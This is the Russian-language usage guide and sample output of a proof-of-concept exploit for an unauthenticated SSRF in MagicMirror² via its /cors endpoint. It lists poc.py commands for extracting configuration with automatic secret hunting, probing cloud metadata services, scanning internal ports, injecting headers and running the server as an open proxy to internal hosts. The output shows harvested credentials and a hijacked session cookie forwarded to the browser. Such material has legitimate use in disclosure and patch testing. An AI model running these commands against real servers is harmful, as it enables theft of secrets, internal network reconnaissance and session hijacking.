# 1. Проверить, уязвима ли цель
python3 poc.py -t http://target:8080 --check

# 2. Извлечь конфигурацию приложения (с автоматическим поиском секретов)
python3 poc.py -t http://target:8080 --config

# 3. Проверить облачные metadata-сервисы у 10+ провайдеров
python3 poc.py -t http://target:8080 --cloud

# 4. Сканирование портов внутренней сети через SSRF
python3 poc.py -t http://target:8080 --port-scan 10.0.0.1,10.0.0.2 -p 22,80,443,3306,6379

# 5. Демонстрация злоупотребления входящими/исходящими заголовками
python3 poc.py -t http://target:8080 --headers

# 6. Использование сервера как универсального открытого прокси
python3 poc.py -t http://target:8080 --open-proxy https://internal.corp/api

$ python3 poc.py -t http://127.0.0.1:8080 --check

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗   ██████╗   █████╗   ██╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ╚════██╗  ╚════██╗  ██╔══██╗ ███║
██║     ██║   ██║█████╗   -2026- ███████║  █████╔╝   █████╔╝  ╚█████╔╝ ╚██║
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ██╔═══╝   ██╔═══╝   ██╔══██╗  ██║
╚██████╗ ╚████╔╝ ███████╗             ██║ ███████╗  ███████╗  ╚█████╔╝  ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝ ╚══════╝  ╚══════╝   ╚════╝   ╚═╝

  MagicMirror² <= v2.35.0 — Неаутентифицированный SSRF через endpoint /cors
  Автор: Astaruf | https://nstsec.com

  CHECK, Доступность цели и подтверждение SSRF
  [*] Проверка доступности цели ...
  [+] Цель доступна, MagicMirror 2.35.0
  [*] Подтверждение SSRF через loopback ...
      >> GET http://127.0.0.1:8080/cors?url=http://127.0.0.1:8080/version
  [+] SSRF ПОДТВЕРЖДЁН, сервер получил внутренний ресурс от нашего имени
      << 2.35.0

  ИЗВЛЕЧЕНИЕ КОНФИГУРАЦИИ, Полная конфигурация через SSRF loopback
  [+] Конфигурация получена, 1194 байт
  [*] address    : 0.0.0.0
  [*] port       : 8080
  [*] ipWhitelist: [] открыт для всех IP

  НАЙДЕННЫЕ СЕКРЕТЫ:
    [weather]  apiKey                       = ow_demo_api_key_d34db33fc4f3b4b3
    [calendar] calendars[0].auth.pass       = S3cretCalendarPa$$word!
    [newsfeed] accessToken                  = sk-newsfeed-bearer-T0kEn-xyz789

  ВНЕДРЕНИЕ ЗАГОЛОВКОВ, Злоупотребление входящими и исходящими заголовками
  [*] Часть A: внедрение произвольных заголовков в исходящие запросы через sendheaders
  [+] Заголовок X-Injected-By: SSRF-PoC подтверждён в исходящем запросе
  [+] Заголовок Authorization: Bearer DEMO_TOKEN подтверждён в исходящем запросе

  [*] Часть B: пересылка заголовков ответа в браузер через expectedheaders
  [+] Заголовок ответа Set-Cookie переслан в браузер: session=hijacked;HttpOnly
  [+] Браузер получает этот cookie так, как если бы он исходил с домена MagicMirror

  ОТКРЫТЫЙ ПРОКСИ, Получение https://httpbin.org/ip через уязвимый сервер
  [+] HTTP 200, получено 32 байт от сервера

{
  "origin": "<публичный IP сервера, не атакующего>"
}